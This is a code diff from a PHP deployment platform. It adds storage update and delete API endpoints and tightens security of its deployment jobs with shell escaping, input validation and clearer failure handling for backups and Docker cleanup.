$storage = LocalPersistentVolume::create([
|
||||
'name' => $subResource->uuid.'-'.$request->name,
|
||||
'mount_path' => $request->mount_path,
|
||||
'host_path' => $request->host_path,
|
||||
'resource_id' => $subResource->id,
|
||||
'resource_type' => $subResource->getMorphClass(),
|
||||
]);
|
||||
|
||||
return response()->json($storage, 201);
|
||||
}
|
||||
|
||||
// File storage
|
||||
$typeSpecificInvalidFields = array_intersect(['name', 'host_path'], array_keys($request->all()));
|
||||
if (! empty($typeSpecificInvalidFields)) {
|
||||
return response()->json([
|
||||
'message' => 'Validation failed.',
|
||||
'errors' => collect($typeSpecificInvalidFields)
|
||||
->mapWithKeys(fn ($field) => [$field => "Field '{$field}' is not valid for type 'file'."]),
|
||||
], 422);
|
||||
}
|
||||
|
||||
$isDirectory = $request->boolean('is_directory', false);
|
||||
|
||||
if ($isDirectory) {
|
||||
if (! $request->fs_path) {
|
||||
return response()->json([
|
||||
'message' => 'Validation failed.',
|
||||
'errors' => ['fs_path' => 'The fs_path field is required for directory mounts.'],
|
||||
], 422);
|
||||
}
|
||||
|
||||
$fsPath = str($request->fs_path)->trim()->start('/')->value();
|
||||
$mountPath = str($request->mount_path)->trim()->start('/')->value();
|
||||
|
||||
validateShellSafePath($fsPath, 'storage source path');
|
||||
validateShellSafePath($mountPath, 'storage destination path');
|
||||
|
||||
$storage = LocalFileVolume::create([
|
||||
'fs_path' => $fsPath,
|
||||
'mount_path' => $mountPath,
|
||||
'is_directory' => true,
|
||||
'resource_id' => $subResource->id,
|
||||
'resource_type' => get_class($subResource),
|
||||
]);
|
||||
} else {
|
||||
$mountPath = str($request->mount_path)->trim()->start('/')->value();
|
||||
$fsPath = service_configuration_dir().'/'.$service->uuid.$mountPath;
|
||||
|
||||
$storage = LocalFileVolume::create([
|
||||
'fs_path' => $fsPath,
|
||||
'mount_path' => $mountPath,
|
||||
'content' => $request->content,
|
||||
'is_directory' => false,
|
||||
'resource_id' => $subResource->id,
|
||||
'resource_type' => get_class($subResource),
|
||||
]);
|
||||
}
|
||||
|
||||
return response()->json($storage, 201);
|
||||
}
|
||||
|
||||
#[OA\Patch(
|
||||
summary: 'Update Storage',
|
||||
description: 'Update a persistent storage or file storage by service UUID.',
|
||||
path: '/services/{uuid}/storages',
|
||||
operationId: 'update-storage-by-service-uuid',
|
||||
security: [
|
||||
['bearerAuth' => []],
|
||||
],
|
||||
tags: ['Services'],
|
||||
parameters: [
|
||||
new OA\Parameter(
|
||||
name: 'uuid',
|
||||
in: 'path',
|
||||
description: 'UUID of the service.',
|
||||
required: true,
|
||||
schema: new OA\Schema(
|
||||
type: 'string',
|
||||
)
|
||||
),
|
||||
],
|
||||
requestBody: new OA\RequestBody(
|
||||
description: 'Storage updated. For read-only storages (from docker-compose or services), only is_preview_suffix_enabled can be updated.',
|
||||
required: true,
|
||||
content: [
|
||||
new OA\MediaType(
|
||||
mediaType: 'application/json',
|
||||
schema: new OA\Schema(
|
||||
type: 'object',
|
||||
required: ['type'],
|
||||
properties: [
|
||||
'uuid' => ['type' => 'string', 'description' => 'The UUID of the storage (preferred).'],
|
||||
'id' => ['type' => 'integer', 'description' => 'The ID of the storage (deprecated, use uuid instead).'],
|
||||
'type' => ['type' => 'string', 'enum' => ['persistent', 'file'], 'description' => 'The type of storage: persistent or file.'],
|
||||
'is_preview_suffix_enabled' => ['type' => 'boolean', 'description' => 'Whether to add -pr-N suffix for preview deployments.'],
|
||||
'name' => ['type' => 'string', 'description' => 'The volume name (persistent only, not allowed for read-only storages).'],
|
||||
'mount_path' => ['type' => 'string', 'description' => 'The container mount path (not allowed for read-only storages).'],
|
||||
'host_path' => ['type' => 'string', 'nullable' => true, 'description' => 'The host path (persistent only, not allowed for read-only storages).'],
|
||||
'content' => ['type' => 'string', 'nullable' => true, 'description' => 'The file content (file only, not allowed for read-only storages).'],
|
||||
],
|
||||
additionalProperties: false,
|
||||
),
|
||||
),
|
||||
],
|
||||
),
|
||||
responses: [
|
||||
new OA\Response(
|
||||
response: 200,
|
||||
description: 'Storage updated.',
|
||||
content: new OA\JsonContent(type: 'object'),
|
||||
),
|
||||
new OA\Response(
|
||||
response: 401,
|
||||
ref: '#/components/responses/401',
|
||||
),
|
||||
new OA\Response(
|
||||
response: 400,
|
||||
ref: '#/components/responses/400',
|
||||
),
|
||||
new OA\Response(
|
||||
response: 404,
|
||||
ref: '#/components/responses/404',
|
||||
),
|
||||
new OA\Response(
|
||||
response: 422,
|
||||
ref: '#/components/responses/422',
|
||||
),
|
||||
]
|
||||
)]
|
||||
public function update_storage(Request $request): JsonResponse
|
||||
{
|
||||
$teamId = getTeamIdFromToken();
|
||||
|
||||
if (is_null($teamId)) {
|
||||
return invalidTokenResponse();
|
||||
}
|
||||
|
||||
$return = validateIncomingRequest($request);
|
||||
if ($return instanceof JsonResponse) {
|
||||
return $return;
|
||||
}
|
||||
|
||||
$service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->route('uuid'))->first();
|
||||
|
||||
if (! $service) {
|
||||
return response()->json([
|
||||
'message' => 'Service not found.',
|
||||
], 404);
|
||||
}
|
||||
|
||||
$this->authorize('update', $service);
|
||||
|
||||
$validator = customApiValidator($request->all(), [
|
||||
'uuid' => 'string',
|
||||
'id' => 'integer',
|
||||
'type' => 'required|string|in:persistent,file',
|
||||
'is_preview_suffix_enabled' => 'boolean',
|
||||
'name' => 'string',
|
||||
'mount_path' => 'string',
|
||||
'host_path' => 'string|nullable',
|
||||
'content' => 'string|nullable',
|
||||
]);
|
||||
|
||||
$allAllowedFields = ['uuid', 'id', 'type', 'is_preview_suffix_enabled', 'name', 'mount_path', 'host_path', 'content'];
|
||||
$extraFields = array_diff(array_keys($request->all()), $allAllowedFields);
|
||||
if ($validator->fails() || ! empty($extraFields)) {
|
||||
$errors = $validator->errors();
|
||||
if (! empty($extraFields)) {
|
||||
foreach ($extraFields as $field) {
|
||||
$errors->add($field, 'This field is not allowed.');
|
||||
}
|
||||
}
|
||||
|
||||
return response()->json([
|
||||
'message' => 'Validation failed.',
|
||||
'errors' => $errors,
|
||||
], 422);
|
||||
}
|
||||
|
||||
$storageUuid = $request->input('uuid');
|
||||
$storageId = $request->input('id');
|
||||
|
||||
if (! $storageUuid && ! $storageId) {
|
||||
return response()->json([
|
||||
'message' => 'Validation failed.',
|
||||
'errors' => ['uuid' => 'Either uuid or id is required.'],
|
||||
], 422);
|
||||
}
|
||||
|
||||
$lookupField = $storageUuid ? 'uuid' : 'id';
|
||||
$lookupValue = $storageUuid ?? $storageId;
|
||||
|
||||
$storage = null;
|
||||
if ($request->type === 'persistent') {
|
||||
foreach ($service->applications as $app) {
|
||||
$storage = $app->persistentStorages->where($lookupField, $lookupValue)->first();
|
||||
if ($storage) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (! $storage) {
|
||||
foreach ($service->databases as $db) {
|
||||
$storage = $db->persistentStorages->where($lookupField, $lookupValue)->first();
|
||||
if ($storage) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
foreach ($service->applications as $app) {
|
||||
$storage = $app->fileStorages->where($lookupField, $lookupValue)->first();
|
||||
if ($storage) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (! $storage) {
|
||||
foreach ($service->databases as $db) {
|
||||
$storage = $db->fileStorages->where($lookupField, $lookupValue)->first();
|
||||
if ($storage) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (! $storage) {
|
||||
return response()->json([
|
||||
'message' => 'Storage not found.',
|
||||
], 404);
|
||||
}
|
||||
|
||||
$isReadOnly = $storage->shouldBeReadOnlyInUI();
|
||||
$editableOnlyFields = ['name', 'mount_path', 'host_path', 'content'];
|
||||
$requestedEditableFields = array_intersect($editableOnlyFields, array_keys($request->all()));
|
||||
|
||||
if ($isReadOnly && ! empty($requestedEditableFields)) {
|
||||
return response()->json([
|
||||
'message' => 'This storage is read-only (managed by docker-compose or service definition). Only is_preview_suffix_enabled can be updated.',
|
||||
'read_only_fields' => array_values($requestedEditableFields),
|
||||
], 422);
|
||||
}
|
||||
|
||||
// Reject fields that don't apply to the given storage type
|
||||
if (! $isReadOnly) {
|
||||
$typeSpecificInvalidFields = $request->type === 'persistent'
|
||||
? array_intersect(['content'], array_keys($request->all()))
|
||||
: array_intersect(['name', 'host_path'], array_keys($request->all()));
|
||||
|
||||
if (! empty($typeSpecificInvalidFields)) {
|
||||
return response()->json([
|
||||
'message' => 'Validation failed.',
|
||||
'errors' => collect($typeSpecificInvalidFields)
|
||||
->mapWithKeys(fn ($field) => [$field => "Field '{$field}' is not valid for type '{$request->type}'."]),
|
||||
], 422);
|
||||
}
|
||||
}
|
||||
|
||||
// Always allowed
|
||||
if ($request->has('is_preview_suffix_enabled')) {
|
||||
$storage->is_preview_suffix_enabled = $request->is_preview_suffix_enabled;
|
||||
}
|
||||
|
||||
// Only for editable storages
|
||||
if (! $isReadOnly) {
|
||||
if ($request->type === 'persistent') {
|
||||
if ($request->has('name')) {
|
||||
$storage->name = $request->name;
|
||||
}
|
||||
if ($request->has('mount_path')) {
|
||||
$storage->mount_path = $request->mount_path;
|
||||
}
|
||||
if ($request->has('host_path')) {
|
||||
$storage->host_path = $request->host_path;
|
||||
}
|
||||
} else {
|
||||
if ($request->has('mount_path')) {
|
||||
$storage->mount_path = $request->mount_path;
|
||||
}
|
||||
if ($request->has('content')) {
|
||||
$storage->content = $request->content;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
$storage->save();
|
||||
|
||||
return response()->json($storage);
|
||||
}
|
||||
|
||||
#[OA\Delete(
|
||||
summary: 'Delete Storage',
|
||||
description: 'Delete a persistent storage or file storage by service UUID.',
|
||||
path: '/services/{uuid}/storages/{storage_uuid}',
|
||||
operationId: 'delete-storage-by-service-uuid',
|
||||
security: [
|
||||
['bearerAuth' => []],
|
||||
],
|
||||
tags: ['Services'],
|
||||
parameters: [
|
||||
new OA\Parameter(
|
||||
name: 'uuid',
|
||||
in: 'path',
|
||||
description: 'UUID of the service.',
|
||||
required: true,
|
||||
schema: new OA\Schema(type: 'string')
|
||||
),
|
||||
new OA\Parameter(
|
||||
name: 'storage_uuid',
|
||||
in: 'path',
|
||||
description: 'UUID of the storage.',
|
||||
required: true,
|
||||
schema: new OA\Schema(type: 'string')
|
||||
),
|
||||
],
|
||||
responses: [
|
||||
new OA\Response(response: 200, description: 'Storage deleted.', content: new OA\JsonContent(
|
||||
properties: [new OA\Property(property: 'message', type: 'string')],
|
||||
)),
|
||||
new OA\Response(response: 401, ref: '#/components/responses/401'),
|
||||
new OA\Response(response: 400, ref: '#/components/responses/400'),
|
||||
new OA\Response(response: 404, ref: '#/components/responses/404'),
|
||||
new OA\Response(response: 422, ref: '#/components/responses/422'),
|
||||
]
|
||||
)]
|
||||
public function delete_storage(Request $request): JsonResponse
|
||||
{
|
||||
$teamId = getTeamIdFromToken();
|
||||
if (is_null($teamId)) {
|
||||
return invalidTokenResponse();
|
||||
}
|
||||
|
||||
$service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->uuid)->first();
|
||||
if (! $service) {
|
||||
return response()->json(['message' => 'Service not found.'], 404);
|
||||
}
|
||||
|
||||
$this->authorize('update', $service);
|
||||
|
||||
$storageUuid = $request->route('storage_uuid');
|
||||
|
||||
$storage = null;
|
||||
foreach ($service->applications as $app) {
|
||||
$storage = $app->persistentStorages->where('uuid', $storageUuid)->first();
|
||||
if ($storage) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (! $storage) {
|
||||
foreach ($service->databases as $db) {
|
||||
$storage = $db->persistentStorages->where('uuid', $storageUuid)->first();
|
||||
if ($storage) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (! $storage) {
|
||||
foreach ($service->applications as $app) {
|
||||
$storage = $app->fileStorages->where('uuid', $storageUuid)->first();
|
||||
if ($storage) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (! $storage) {
|
||||
foreach ($service->databases as $db) {
|
||||
$storage = $db->fileStorages->where('uuid', $storageUuid)->first();
|
||||
if ($storage) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (! $storage) {
|
||||
return response()->json(['message' => 'Storage not found.'], 404);
|
||||
}
|
||||
|
||||
if ($storage->shouldBeReadOnlyInUI()) {
|
||||
return response()->json([
|
||||
'message' => 'This storage is read-only (managed by docker-compose or service definition) and cannot be deleted.',
|
||||
], 422);
|
||||
}
|
||||
|
||||
if ($storage instanceof LocalFileVolume) {
|
||||
$storage->deleteStorageOnServer();
|
||||
}
|
||||
|
||||
$storage->delete();
|
||||
|
||||
return response()->json(['message' => 'Storage deleted.']);
|
||||
}
|
||||
}
|
||||
|
|
|
|||
|
|
@ -55,6 +55,9 @@ public function manual(Request $request)
|
|||
$after_sha = data_get($payload, 'after', data_get($payload, 'pull_request.head.sha'));
|
||||
$author_association = data_get($payload, 'pull_request.author_association');
|
||||
}
|
||||
if (! in_array($x_github_event, ['push', 'pull_request'])) {
|
||||
return response("Nothing to do. Event '$x_github_event' is not supported.");
|
||||
}
|
||||
if (! $branch) {
|
||||
return response('Nothing to do. No branch found in the request.');
|
||||
}
|
||||
|
|
@ -246,6 +249,9 @@ public function normal(Request $request)
|
|||
$after_sha = data_get($payload, 'after', data_get($payload, 'pull_request.head.sha'));
|
||||
$author_association = data_get($payload, 'pull_request.author_association');
|
||||
}
|
||||
if (! in_array($x_github_event, ['push', 'pull_request'])) {
|
||||
return response("Nothing to do. Event '$x_github_event' is not supported.");
|
||||
}
|
||||
if (! $id || ! $branch) {
|
||||
return response('Nothing to do. No id or branch found.');
|
||||
}
|
||||
|
|
|
|||
|
|
@ -223,7 +223,11 @@ public function __construct(public int $application_deployment_queue_id)
|
|||
$this->preserveRepository = $this->application->settings->is_preserve_repository_enabled;
|
||||
|
||||
$this->basedir = $this->application->generateBaseDir($this->deployment_uuid);
|
||||
$this->workdir = "{$this->basedir}".rtrim($this->application->base_directory, '/');
|
||||
$baseDir = $this->application->base_directory;
|
||||
if ($baseDir && $baseDir !== '/') {
|
||||
$this->validatePathField($baseDir, 'base_directory');
|
||||
}
|
||||
$this->workdir = "{$this->basedir}".rtrim($baseDir, '/');
|
||||
$this->configuration_dir = application_configuration_dir()."/{$this->application->uuid}";
|
||||
$this->is_debug_enabled = $this->application->settings->is_debug_enabled;
|
||||
|
||||
|
|
@ -312,7 +316,11 @@ public function handle(): void
|
|||
}
|
||||
|
||||
if ($this->application->dockerfile_target_build) {
|
||||
$this->buildTarget = " --target {$this->application->dockerfile_target_build} ";
|
||||
$target = $this->application->dockerfile_target_build;
|
||||
if (! preg_match(\App\Support\ValidationPatterns::DOCKER_TARGET_PATTERN, $target)) {
|
||||
throw new \RuntimeException('Invalid dockerfile_target_build: contains forbidden characters.');
|
||||
}
|
||||
$this->buildTarget = " --target {$target} ";
|
||||
}
|
||||
|
||||
// Check custom port
|
||||
|
|
@ -571,6 +579,7 @@ private function deploy_docker_compose_buildpack()
|
|||
$this->docker_compose_location = $this->validatePathField($this->application->docker_compose_location, 'docker_compose_location');
|
||||
}
|
||||
if (data_get($this->application, 'docker_compose_custom_start_command')) {
|
||||
$this->validateShellSafeCommand($this->application->docker_compose_custom_start_command, 'docker_compose_custom_start_command');
|
||||
$this->docker_compose_custom_start_command = $this->application->docker_compose_custom_start_command;
|
||||
if (! str($this->docker_compose_custom_start_command)->contains('--project-directory')) {
|
||||
$projectDir = $this->preserveRepository ? $this->application->workdir() : $this->workdir;
|
||||
|
|
@ -578,6 +587,7 @@ private function deploy_docker_compose_buildpack()
|
|||
}
|
||||
}
|
||||
if (data_get($this->application, 'docker_compose_custom_build_command')) {
|
||||
$this->validateShellSafeCommand($this->application->docker_compose_custom_build_command, 'docker_compose_custom_build_command');
|
||||
$this->docker_compose_custom_build_command = $this->application->docker_compose_custom_build_command;
|
||||
if (! str($this->docker_compose_custom_build_command)->contains('--project-directory')) {
|
||||
$this->docker_compose_custom_build_command = str($this->docker_compose_custom_build_command)->replaceFirst('compose', 'compose --project-directory '.$this->workdir)->value();
|
||||
|
|
@ -1103,10 +1113,21 @@ private function generate_image_names()
|
|||
private function just_restart()
|
||||
{
|
||||
$this->application_deployment_queue->addLogEntry("Restarting {$this->customRepository}:{$this->application->git_branch} on {$this->server->name}.");
|
||||
|
||||
// Restart doesn't need the build server — disable it so the helper container
|
||||
// is created on the deployment server with the correct network/flags.
|
||||
$originalUseBuildServer = $this->use_build_server;
|
||||
$this->use_build_server = false;
|
||||
|
||||
$this->prepare_builder_image();
|
||||
$this->check_git_if_build_needed();
|
||||
$this->generate_image_names();
|
||||
$this->check_image_locally_or_remotely();
|
||||
|
||||
// Restore before should_skip_build() — it may re-enter decide_what_to_do()
|
||||
// for a full rebuild which needs the build server.
|
||||
$this->use_build_server = $originalUseBuildServer;
|
||||
|
||||
$this->should_skip_build();
|
||||
$this->completeDeployment();
|
||||
}
|
||||
|
|
@ -2313,13 +2334,13 @@ private function nixpacks_build_cmd()
|
|||
$this->generate_nixpacks_env_variables();
|
||||
$nixpacks_command = "nixpacks plan -f json {$this->env_nixpacks_args}";
|
||||
if ($this->application->build_command) {
|
||||
$nixpacks_command .= " --build-cmd \"{$this->application->build_command}\"";
|
||||
$nixpacks_command .= ' --build-cmd '.escapeShellValue($this->application->build_command);
|
||||
}
|
||||
if ($this->application->start_command) {
|
||||
$nixpacks_command .= " --start-cmd \"{$this->application->start_command}\"";
|
||||
$nixpacks_command .= ' --start-cmd '.escapeShellValue($this->application->start_command);
|
||||
}
|
||||
if ($this->application->install_command) {
|
||||
$nixpacks_command .= " --install-cmd \"{$this->application->install_command}\"";
|
||||
$nixpacks_command .= ' --install-cmd '.escapeShellValue($this->application->install_command);
|
||||
}
|
||||
$nixpacks_command .= " {$this->workdir}";
|
||||
|
||||
|
|
@ -2332,13 +2353,15 @@ private function generate_nixpacks_env_variables()
|
|||
if ($this->pull_request_id === 0) {
|
||||
foreach ($this->application->nixpacks_environment_variables as $env) {
|
||||
if (! is_null($env->real_value) && $env->real_value !== '') {
|
||||
$this->env_nixpacks_args->push("--env {$env->key}={$env->real_value}");
|
||||
$value = ($env->is_literal || $env->is_multiline) ? trim($env->real_value, "'") : $env->real_value;
|
||||
$this->env_nixpacks_args->push('--env '.escapeShellValue("{$env->key}={$value}"));
|
||||
}
|
||||
}
|
||||
} else {
|
||||
foreach ($this->application->nixpacks_environment_variables_preview as $env) {
|
||||
if (! is_null($env->real_value) && $env->real_value !== '') {
|
||||
$this->env_nixpacks_args->push("--env {$env->key}={$env->real_value}");
|
||||
$value = ($env->is_literal || $env->is_multiline) ? trim($env->real_value, "'") : $env->real_value;
|
||||
$this->env_nixpacks_args->push('--env '.escapeShellValue("{$env->key}={$value}"));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -2348,7 +2371,7 @@ private function generate_nixpacks_env_variables()
|
|||
$coolify_envs->each(function ($value, $key) {
|
||||
// Only add environment variables with non-null and non-empty values
|
||||
if (! is_null($value) && $value !== '') {
|
||||
$this->env_nixpacks_args->push("--env {$key}={$value}");
|
||||
$this->env_nixpacks_args->push('--env '.escapeShellValue("{$key}={$value}"));
|
||||
}
|
||||
});
|
||||
|
||||
|
|
@ -2745,7 +2768,8 @@ private function generate_local_persistent_volumes()
|
|||
} else {
|
||||
$volume_name = $persistentStorage->name;
|
||||
}
|
||||
if ($this->pull_request_id !== 0) {
|
||||
$isPreviewSuffixEnabled = (bool) data_get($persistentStorage, 'is_preview_suffix_enabled', true);
|
||||
if ($this->pull_request_id !== 0 && $isPreviewSuffixEnabled) {
|
||||
$volume_name = addPreviewDeploymentSuffix($volume_name, $this->pull_request_id);
|
||||
}
|
||||
$local_persistent_volumes[] = $volume_name.':'.$persistentStorage->mount_path;
|
||||
|
|
@ -2763,7 +2787,8 @@ private function generate_local_persistent_volumes_only_volume_names()
|
|||
}
|
||||
$name = $persistentStorage->name;
|
||||
|
||||
if ($this->pull_request_id !== 0) {
|
||||
$isPreviewSuffixEnabled = (bool) data_get($persistentStorage, 'is_preview_suffix_enabled', true);
|
||||
if ($this->pull_request_id !== 0 && $isPreviewSuffixEnabled) {
|
||||
$name = addPreviewDeploymentSuffix($name, $this->pull_request_id);
|
||||
}
|
||||
|
||||
|
|
@ -2781,9 +2806,15 @@ private function generate_healthcheck_commands()
|
|||
// Handle CMD type healthcheck
|
||||
if ($this->application->health_check_type === 'cmd' && ! empty($this->application->health_check_command)) {
|
||||
$command = str_replace(["\r\n", "\r", "\n"], ' ', $this->application->health_check_command);
|
||||
$this->full_healthcheck_url = $command;
|
||||
|
||||
return $command;
|
||||
// Defense in depth: validate command at runtime (matches input validation regex)
|
||||
if (! preg_match('/^[a-zA-Z0-9 \-_.\/:=@,+]+$/', $command) || strlen($command) > 1000) {
|
||||
$this->application_deployment_queue->addLogEntry('Warning: Health check command contains invalid characters or exceeds max length. Falling back to HTTP healthcheck.');
|
||||
} else {
|
||||
$this->full_healthcheck_url = $command;
|
||||
|
||||
return $command;
|
||||
}
|
||||
}
|
||||
|
||||
// HTTP type healthcheck (default)
|
||||
|
|
@ -2804,16 +2835,16 @@ private function generate_healthcheck_commands()
|
|||
: null;
|
||||
|
||||
$url = escapeshellarg("{$scheme}://{$host}:{$health_check_port}".($path ?? '/'));
|
||||
$method = escapeshellarg($method);
|
||||
$escapedMethod = escapeshellarg($method);
|
||||
|
||||
if ($path) {
|
||||
$this->full_healthcheck_url = "{$this->application->health_check_method}: {$scheme}://{$host}:{$health_check_port}{$path}";
|
||||
$this->full_healthcheck_url = "{$method}: {$scheme}://{$host}:{$health_check_port}{$path}";
|
||||
} else {
|
||||
$this->full_healthcheck_url = "{$this->application->health_check_method}: {$scheme}://{$host}:{$health_check_port}/";
|
||||
$this->full_healthcheck_url = "{$method}: {$scheme}://{$host}:{$health_check_port}/";
|
||||
}
|
||||
|
||||
$generated_healthchecks_commands = [
|
||||
"curl -s -X {$method} -f {$url} > /dev/null || wget -q -O- {$url} > /dev/null || exit 1",
|
||||
"curl -s -X {$escapedMethod} -f {$url} > /dev/null || wget -q -O- {$url} > /dev/null || exit 1",
|
||||
];
|
||||
|
||||
return implode(' ', $generated_healthchecks_commands);
|
||||
|
|
@ -3940,6 +3971,24 @@ private function validatePathField(string $value, string $fieldName): string
|
|||
return $value;
|
||||
}
|
||||
|
||||
private function validateShellSafeCommand(string $value, string $fieldName): string
|
||||
{
|
||||
if (! preg_match(\App\Support\ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN, $value)) {
|
||||
throw new \RuntimeException("Invalid {$fieldName}: contains forbidden shell characters.");
|
||||
}
|
||||
|
||||
return $value;
|
||||
}
|
||||
|
||||
private function validateContainerName(string $value): string
|
||||
{
|
||||
if (! preg_match(\App\Support\ValidationPatterns::CONTAINER_NAME_PATTERN, $value)) {
|
||||
throw new \RuntimeException('Invalid container name: contains forbidden characters.');
|
||||
}
|
||||
|
||||
return $value;
|
||||
}
|
||||
|
||||
private function run_pre_deployment_command()
|
||||
{
|
||||
if (empty($this->application->pre_deployment_command)) {
|
||||
|
|
@ -3953,7 +4002,17 @@ private function run_pre_deployment_command()
|
|||
|
||||
foreach ($containers as $container) {
|
||||
$containerName = data_get($container, 'Names');
|
||||
if ($containerName) {
|
||||
$this->validateContainerName($containerName);
|
||||
}
|
||||
if ($containers->count() == 1 || str_starts_with($containerName, $this->application->pre_deployment_command_container.'-'.$this->application->uuid)) {
|
||||
// Security: pre_deployment_command is intentionally treated as arbitrary shell input.
|
||||
// Users (team members with deployment access) need full shell flexibility to run commands
|
||||
// like "php artisan migrate", "npm run build", etc. inside their own application containers.
|
||||
// The trust boundary is at the application/team ownership level — only authenticated team
|
||||
// members can set these commands, and execution is scoped to the application's own container.
|
||||
// The single-quote escaping here prevents breaking out of the sh -c wrapper, but does not
|
||||
// restrict the command itself. Container names are validated separately via validateContainerName().
|
||||
$cmd = "sh -c '".str_replace("'", "'\''", $this->application->pre_deployment_command)."'";
|
||||
$exec = "docker exec {$containerName} {$cmd}";
|
||||
$this->execute_remote_command(
|
||||
|
|
@ -3980,7 +4039,12 @@ private function run_post_deployment_command()
|
|||
$containers = getCurrentApplicationContainerStatus($this->server, $this->application->id, $this->pull_request_id);
|
||||
foreach ($containers as $container) {
|
||||
$containerName = data_get($container, 'Names');
|
||||
if ($containerName) {
|
||||
$this->validateContainerName($containerName);
|
||||
}
|
||||
if ($containers->count() == 1 || str_starts_with($containerName, $this->application->post_deployment_command_container.'-'.$this->application->uuid)) {
|
||||
// Security: post_deployment_command is intentionally treated as arbitrary shell input.
|
||||
// See the equivalent comment in run_pre_deployment_command() for the full security rationale.
|
||||
$cmd = "sh -c '".str_replace("'", "'\''", $this->application->post_deployment_command)."'";
|
||||
$exec = "docker exec {$containerName} {$cmd}";
|
||||
try {
|
||||
|
|
|
|||
|
|
@ -625,10 +625,16 @@ private function calculate_size()
|
|||
|
||||
private function upload_to_s3(): void
|
||||
{
|
||||
if (is_null($this->s3)) {
|
||||
$this->backup->update([
|
||||
'save_s3' => false,
|
||||
's3_storage_id' => null,
|
||||
]);
|
||||
|
||||
throw new \Exception('S3 storage configuration is missing or has been deleted (S3 storage ID: '.($this->backup->s3_storage_id ?? 'null').'). S3 backup has been disabled for this schedule.');
|
||||
}
|
||||
|
||||
try {
|
||||
if (is_null($this->s3)) {
|
||||
return;
|
||||
}
|
||||
$key = $this->s3->key;
|
||||
$secret = $this->s3->secret;
|
||||
// $region = $this->s3->region;
|
||||
|
|
|
|||
|
|
@ -39,19 +39,27 @@ public function __construct(
|
|||
public bool $manualCleanup = false,
|
||||
public bool $deleteUnusedVolumes = false,
|
||||
public bool $deleteUnusedNetworks = false
|
||||
) {}
|
||||
) {
|
||||
$this->onQueue('high');
|
||||
}
|
||||
|
||||
public function handle(): void
|
||||
{
|
||||
try {
|
||||
if (! $this->server->isFunctional()) {
|
||||
return;
|
||||
}
|
||||
|
||||
$this->execution_log = DockerCleanupExecution::create([
|
||||
'server_id' => $this->server->id,
|
||||
]);
|
||||
|
||||
if (! $this->server->isFunctional()) {
|
||||
$this->execution_log->update([
|
||||
'status' => 'failed',
|
||||
'message' => 'Server is not functional (unreachable, unusable, or disabled)',
|
||||
'finished_at' => Carbon::now()->toImmutable(),
|
||||
]);
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$this->usageBefore = $this->server->getDiskUsage();
|
||||
|
||||
if ($this->manualCleanup || $this->server->settings->force_docker_cleanup) {
|
||||
|
|
|
|||
|
|
@ -6,7 +6,6 @@
|
|||
use App\Models\ScheduledTask;
|
||||
use App\Models\Server;
|
||||
use App\Models\Team;
|
||||
use Cron\CronExpression;
|
||||
use Illuminate\Bus\Queueable;
|
||||
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||
use Illuminate\Foundation\Bus\Dispatchable;
|
||||
|
|
@ -185,7 +184,7 @@ private function processScheduledBackups(): void
|
|||
$frequency = VALID_CRON_STRINGS[$frequency];
|
||||
}
|
||||
|
||||
if ($this->shouldRunNow($frequency, $serverTimezone, "scheduled-backup:{$backup->id}")) {
|
||||
if (shouldRunCronNow($frequency, $serverTimezone, "scheduled-backup:{$backup->id}", $this->executionTime)) {
|
||||
DatabaseBackupJob::dispatch($backup);
|
||||
$this->dispatchedCount++;
|
||||
Log::channel('scheduled')->info('Backup dispatched', [
|
||||
|
|
@ -239,7 +238,7 @@ private function processScheduledTasks(): void
|
|||
$frequency = VALID_CRON_STRINGS[$frequency];
|
||||
}
|
||||
|
||||
if (! $this->shouldRunNow($frequency, $serverTimezone, "scheduled-task:{$task->id}")) {
|
||||
if (! shouldRunCronNow($frequency, $serverTimezone, "scheduled-task:{$task->id}", $this->executionTime)) {
|
||||
continue;
|
||||
}
|
||||
|
||||
|
|
@ -336,51 +335,6 @@ private function getTaskRuntimeSkipReason(ScheduledTask $task): ?string
|
|||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Determine if a cron schedule should run now.
|
||||
*
|
||||
* When a dedupKey is provided, uses getPreviousRunDate() + last-dispatch tracking
|
||||
* instead of isDue(). This is resilient to queue delays — even if the job is delayed
|
||||
* by minutes, it still catches the missed cron window. Without dedupKey, falls back
|
||||
* to simple isDue() check.
|
||||
*/
|
||||
private function shouldRunNow(string $frequency, string $timezone, ?string $dedupKey = null): bool
|
||||
{
|
||||
$cron = new CronExpression($frequency);
|
||||
$baseTime = $this->executionTime ?? Carbon::now();
|
||||
$executionTime = $baseTime->copy()->setTimezone($timezone);
|
||||
|
||||
// No dedup key → simple isDue check (used by docker cleanups)
|
||||
if ($dedupKey === null) {
|
||||
return $cron->isDue($executionTime);
|
||||
}
|
||||
|
||||
// Get the most recent time this cron was due (including current minute)
|
||||
$previousDue = Carbon::instance($cron->getPreviousRunDate($executionTime, allowCurrentDate: true));
|
||||
|
||||
$lastDispatched = Cache::get($dedupKey);
|
||||
|
||||
if ($lastDispatched === null) {
|
||||
// First run after restart or cache loss: only fire if actually due right now.
|
||||
// Seed the cache so subsequent runs can use tolerance/catch-up logic.
|
||||
$isDue = $cron->isDue($executionTime);
|
||||
if ($isDue) {
|
||||
Cache::put($dedupKey, $executionTime->toIso8601String(), 86400);
|
||||
}
|
||||
|
||||
return $isDue;
|
||||
}
|
||||
|
||||
// Subsequent runs: fire if there's been a due time since last dispatch
|
||||
if ($previousDue->gt(Carbon::parse($lastDispatched))) {
|
||||
Cache::put($dedupKey, $executionTime->toIso8601String(), 86400);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
private function processDockerCleanups(): void
|
||||
{
|
||||
